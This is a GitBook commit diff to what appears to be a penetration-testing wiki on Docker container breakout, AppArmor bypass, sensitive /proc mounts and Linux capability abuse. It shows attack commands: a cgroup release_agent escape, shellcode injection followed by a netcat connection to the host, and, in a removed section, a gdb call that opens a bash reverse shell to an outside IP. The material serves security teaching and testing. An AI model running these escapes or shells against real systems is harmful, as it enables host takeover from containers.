GitBook: [#2947] No subject
This commit is contained in:
CPol
gitbook-bot
parent
e63b8d1414
commit
4101bb4c7f
@ -260,7 +260,7 @@ $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost b
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
|
||||
### AppArmor Docker Breakout
|
||||
### AppArmor Docker Bypass1
|
||||
|
||||
You can find which **apparmor profile is running a container** using:
|
||||
|
||||
@ -277,3 +277,7 @@ find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
|
||||
In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them.
|
||||
|
||||
### AppArmor Docker Bypass2
|
||||
|
||||
**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**.
|
||||
|
||||
@ -130,6 +130,7 @@ debugfs /dev/sda1
|
||||
# docker run --rm -it --privileged ubuntu bash
|
||||
|
||||
# Finds + enables a cgroup release_agent
|
||||
## Looks for something like: /sys/fs/cgroup/*/release_agent
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
# Enables notify_on_release in the cgroup
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
@ -312,17 +313,6 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
|
||||
### Host Networking
|
||||
|
||||
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
|
||||
|
||||
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
|
||||
|
||||
Example:
|
||||
|
||||
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
### Sensitive Mounts
|
||||
|
||||
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
|
||||
@ -340,6 +330,17 @@ However, you can find **other sensitive files** to check for in this page:
|
||||
[sensitive-mounts.md](docker-breakout-privilege-escalation/sensitive-mounts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Host Networking
|
||||
|
||||
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
|
||||
|
||||
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
|
||||
|
||||
Example:
|
||||
|
||||
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
|
||||
@ -354,9 +355,21 @@ This will trigger the payload which is present in the main.go file.
|
||||
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
There are other CVEs the container can be vulnerable too
|
||||
There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
{% endhint %}
|
||||
|
||||
### Container Breakout through Usermode helper Template
|
||||
|
||||
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions:
|
||||
|
||||
* Find the **path of the containers filesystem** inside the host
|
||||
* You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit
|
||||
* Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
|
||||
* You should be able to **execute the trigger from inside the host**
|
||||
* You need to know where the containers files are located inside the host to indicate a script you write inside the host
|
||||
* Have **enough capabilities and disabled protections** to be able to abuse that functionality
|
||||
* You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
|
||||
|
||||
## References
|
||||
|
||||
* [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB)
|
||||
|
||||
@ -4,6 +4,8 @@
|
||||
|
||||
Due to the lack of namespace support, the exposure of `/proc` and `/sys` offers a source of significant attack surface and information disclosure. Numerous files within the `procfs` and `sysfs` offer a risk for container escape, host modification or basic information disclosure which could facilitate other attacks.
|
||||
|
||||
In order to abuse these techniques might be enough just to **miss-configure something like `-v /proc:/host/proc`** as AppArmor does not protect `/host/proc` because **AppArmor is path based**
|
||||
|
||||
## procfs
|
||||
|
||||
### /proc/sys
|
||||
@ -40,7 +42,10 @@ ls -l `cat /proc/sys/kernel/modprobe`
|
||||
|
||||
#### /proc/sys/fs/binfmt\_misc
|
||||
|
||||
[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) allows executing miscellaneous binary formats, which typically means various interpreters can be registered for non-native binary formats (such as Java) based on their magic number. While this path is typically writable by AppArmor rules, NCC is not aware of any exploits, although it is not likely required for most container applications.
|
||||
[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) allows executing miscellaneous binary formats, which typically means various **interpreters can be registered for non-native binary** formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers.\
|
||||
You can find an exploit in [https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc): _Poor man's rootkit, leverage_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst)_'s_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _option to escalate privilege through any suid binary (and to get a root shell) if `/proc/sys/fs/binfmt_misc/register` is writeable._
|
||||
|
||||
For a more in depth explanation of this technique check [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### /proc/config.gz
|
||||
|
||||
|
||||
@ -195,11 +195,6 @@ smakam14@jungle1:/usr$ cat /proc/8955/uid_map
|
||||
As we can see above, userid 0(root) in container 1 is mapped to userid 231072 in host machine.\
|
||||
In the current Docker user namespace implementation, UID and GID mapping happens at Docker daemon level. There is work ongoing to allow the mappings to be done at Container level so that multi-tenant support is possible.
|
||||
|
||||
### CGroup Namespace
|
||||
|
||||
Each cgroup namespace has its **own set of cgroup root directories**. These root directories are the base points for the relative locations displayed in the corresponding records in the `/proc/[pid]/cgroup` file. When a process creates a new cgroup namespace using clone(2) or unshare(2) with the CLONE\_NEWCGROUP flag, its current cgroups directories become the cgroup root directories of the new namespace. (This applies both for the cgroups version 1 hierarchies and the cgroups version 2 unified hierarchy.)
|
||||
|
||||
## References
|
||||
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
* [https://man7.org/linux/man-pages/man7/cgroup\_namespaces.7.html](https://man7.org/linux/man-pages/man7/cgroup\_namespaces.7.html)
|
||||
|
||||
@ -278,10 +278,6 @@ capsh --print
|
||||
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
You can **only add capabilities that are present** in both the permitted and the inheritable sets.
|
||||
{% endhint %}
|
||||
|
||||
### Capability-aware/Capability-dumb binaries
|
||||
|
||||
The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries.
|
||||
@ -371,7 +367,7 @@ then **that binary will run as root**.
|
||||
|
||||
### CAP\_SYS\_ADMIN
|
||||
|
||||
****[**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) is largely a catchall capability, it can easily lead to additional capabilities or full root (typically access to all capabilities). `CAP_SYS_ADMIN` is required to perform a range of **administrative operations**, which is difficult to drop from containers if privileged operations are performed within the container. Retaining this capability is often necessary for containers which mimic entire systems versus individual application containers which can be more restrictive. Among other things this allows to **mount devices** or abuse **release\_agent** to escape from the container.
|
||||
**This means that you can** **mount/umount filesystems.**
|
||||
|
||||
#### Example with binary
|
||||
|
||||
@ -461,9 +457,7 @@ ssh john@172.17.0.1 -p 2222
|
||||
|
||||
### CAP\_SYS\_PTRACE
|
||||
|
||||
**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**.
|
||||
|
||||
****[**CAP\_SYS\_PTRACE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use `ptrace(2)` and recently introduced cross memory attach system calls such as `process_vm_readv(2)` and `process_vm_writev(2)`. If this capability is granted and the `ptrace(2)` system call itself is not blocked by a seccomp filter, this will allow an attacker to bypass other seccomp restrictions, see [PoC for bypassing seccomp if ptrace is allowed](https://gist.github.com/thejh/8346f47e359adecd1d53) or the **following PoC**:
|
||||
**This means that you can escape the container by injecting a shellcode inside some process running inside the host.**
|
||||
|
||||
#### Example with binary
|
||||
|
||||
@ -559,7 +553,7 @@ print("Final Instruction Pointer: " + hex(registers.rip))
|
||||
libc.ptrace(PTRACE_DETACH, pid, None, None)
|
||||
```
|
||||
|
||||
#### Example with environment (Docker breakout) - Shellcode Injection
|
||||
#### Example with environment (Docker breakout)
|
||||
|
||||
You can check the enabled capabilities inside the docker container using:
|
||||
|
||||
@ -584,22 +578,8 @@ List **processes** running in the **host** `ps -eaf`
|
||||
4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject`
|
||||
5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600`
|
||||
|
||||
#### Example with environment (Docker breakout) - Gdb Abuse
|
||||
|
||||
If **GDB** is installed (or you can install it with `apk add gdb` or `apt install gdb` for example) you can **debug a process from the host** and make it call the `system` function. (This technique also requires the capability `SYS_ADMIN`)**.**
|
||||
|
||||
```bash
|
||||
gdb -p 1234
|
||||
(gdb) call (void)system("ls")
|
||||
(gdb) call (void)system("sleep 5")
|
||||
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
|
||||
```
|
||||
|
||||
You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell).
|
||||
|
||||
### CAP\_SYS\_MODULE
|
||||
|
||||
[**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the process to load and unload arbitrary kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls). This could lead to trivial privilege escalation and ring-0 compromise. The kernel can be modified at will, subverting all system security, Linux Security Modules, and container systems.\
|
||||
**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.**
|
||||
|
||||
#### Example with binary
|
||||
@ -729,11 +709,8 @@ insmod reverse-shell.ko #Launch the reverse shell
|
||||
|
||||
**The code of this technique was copied from the laboratory of "Abusing SYS\_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||||
|
||||
Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)
|
||||
|
||||
### CAP\_DAC\_READ\_SEARCH
|
||||
|
||||
[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to **bypass file read, and directory read and execute permissions**. While this was designed to be used for searching or reading files, it also grants the process permission to invoke `open_by_handle_at(2)`. Any process with the capability `CAP_DAC_READ_SEARCH` can use `open_by_handle_at(2)` to gain access to any file, even files outside their mount namespace. The handle passed into `open_by_handle_at(2)` is intended to be an opaque identifier retrieved using `name_to_handle_at(2)`. However, this handle contains sensitive and tamperable information, such as inode numbers. This was first shown to be an issue in Docker containers by Sebastian Krahmer with [shocker](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) exploit.\
|
||||
**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.**
|
||||
|
||||
#### Example with binary
|
||||
@ -1262,48 +1239,11 @@ python setcapability.py /usr/bin/python2.7
|
||||
Note that if you set a new capability to the binary with CAP\_SETFCAP, you will lose this cap.
|
||||
{% endhint %}
|
||||
|
||||
Once you have [SETUID capability](linux-capabilities.md#cap\_setuid) you can go to its section to see how to escalate privileges.
|
||||
Once you have [SETUID capability](linux-capabilities.md#cap\_setuid) you can go to it's section to see how to escalate privileges.
|
||||
|
||||
#### Example with environment (Docker breakout)
|
||||
|
||||
By default the capability **CAP\_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like:
|
||||
|
||||
```bash
|
||||
cat /proc/`pidof bash`/status | grep Cap
|
||||
CapInh: 00000000a80425fb
|
||||
CapPrm: 00000000a80425fb
|
||||
CapEff: 00000000a80425fb
|
||||
CapBnd: 00000000a80425fb
|
||||
CapAmb: 0000000000000000
|
||||
|
||||
apsh --decode=00000000a80425fb
|
||||
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
```
|
||||
|
||||
This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\
|
||||
However, if you try to give for example the capabilities CAP\_SYS\_ADMIN and CAP\_SYS\_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**:
|
||||
|
||||
```bash
|
||||
getcap /usr/bin/gdb
|
||||
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
|
||||
|
||||
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
|
||||
|
||||
/usr/bin/gdb
|
||||
bash: /usr/bin/gdb: Operation not permitted
|
||||
```
|
||||
|
||||
After investigating I read this: _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP\_SETPCAP** capability in its effective set._\
|
||||
It looks like the Permitted capabilities limit the ones that can be used.\
|
||||
However, Docker also grants the **CAP\_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\
|
||||
However, in the documentation of this cap: _CAP\_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\
|
||||
It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP\_SYS\_ADMIN or CAP\_SYS\_PTRACE in the inherit set to escalate privileges**.
|
||||
|
||||
### CAP\_SYS\_RAWIO
|
||||
|
||||
****[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`.
|
||||
|
||||
This can be useful for **privilege escalation** and **Docker breakout.**
|
||||
|
||||
### CAP\_KILL
|
||||
|
||||
@ -1355,8 +1295,6 @@ s.connect(('10.10.10.10',500))
|
||||
|
||||
### CAP\_NET\_RAW
|
||||
|
||||
[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to be able to **create RAW and PACKET socket types** for the available network namespaces. This allows arbitrary packet generation and transmission through the exposed network interfaces. In many cases this interface will be a virtual Ethernet device which may allow for a malicious or **compromised container** to **spoof** **packets** at various network layers. A malicious process or compromised container with this capability may inject into upstream bridge, exploit routing between containers, bypass network access controls, and otherwise tamper with host networking if a firewall is not in place to limit the packet types and contents. Finally, this capability allows the process to bind to any address within the available namespaces. This capability is often retained by privileged containers to allow ping to function by using RAW sockets to create ICMP requests from a container.
|
||||
|
||||
**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability.
|
||||
|
||||
#### Example with binary
|
||||
@ -1420,7 +1358,7 @@ while True:
|
||||
|
||||
### CAP\_NET\_ADMIN + CAP\_NET\_RAW
|
||||
|
||||
[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) **** allows the capability holder to **modify the exposed network namespaces' firewall, routing tables, socket permissions**, network interface configuration and other related settings on exposed network interfaces. This also provides the ability to **enable promiscuous mode** for the attached network interfaces and potentially sniff across namespaces.
|
||||
**This means that it's possible modify firewall rules.** You cannot escalate privileges directly with this capability.
|
||||
|
||||
#### Example with binary
|
||||
|
||||
@ -1478,27 +1416,6 @@ sudo chattr -i file.txt
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
### CAP\_SYS\_CHROOT
|
||||
|
||||
[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) **** permits the use of the `chroot(2)` system call. This may allow escaping of any `chroot(2)` environment, using known weaknesses and escapes:
|
||||
|
||||
* [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)
|
||||
* [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/)
|
||||
|
||||
### CAP\_SYS\_BOOT
|
||||
|
||||
[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use the `reboot(2)` syscall. It also allows for executing an arbitrary **reboot command** via `LINUX_REBOOT_CMD_RESTART2`, implemented for some specific hardware platforms.
|
||||
|
||||
This capability also permits use of the `kexec_load(2)` system call, which loads a new crash kernel and as of Linux 3.17, the `kexec_file_load(2)` which also will load signed kernels.
|
||||
|
||||
### CAP\_SYSLOG
|
||||
|
||||
[CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html) was finally forked in Linux 2.6.37 from the `CAP_SYS_ADMIN` catchall, this capability allows the process to use the `syslog(2)` system call. This also allows the process to view kernel addresses exposed via `/proc` and other interfaces when `/proc/sys/kernel/kptr_restrict` is set to 1.
|
||||
|
||||
The `kptr_restrict` sysctl setting was introduced in 2.6.38, and determines if kernel addresses are exposed. This defaults to zero (exposing kernel addresses) since 2.6.39 within the vanilla kernel, although many distributions correctly set the value to 1 (hide from everyone accept uid 0) or 2 (always hide).
|
||||
|
||||
In addition, this capability also allows the process to view `dmesg` output, if the `dmesg_restrict` setting is 1. Finally, the `CAP_SYS_ADMIN` capability is still permitted to perform `syslog` operations itself for historical reasons.
|
||||
|
||||
## References
|
||||
|
||||
**Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs.
|
||||
@ -1509,4 +1426,3 @@ In addition, this capability also allows the process to view `dmesg` output, if
|
||||
* [https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux\_container\_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.)
|
||||
* [https://linux-audit.com/linux-capabilities-101/](https://linux-audit.com/linux-capabilities-101/)
|
||||
* [https://www.linuxjournal.com/article/5737](https://www.linuxjournal.com/article/5737)
|
||||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap\_sys\_module](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap\_sys\_module)
|
||||
|
||||
Loading…
Reference in New Issue
Block a user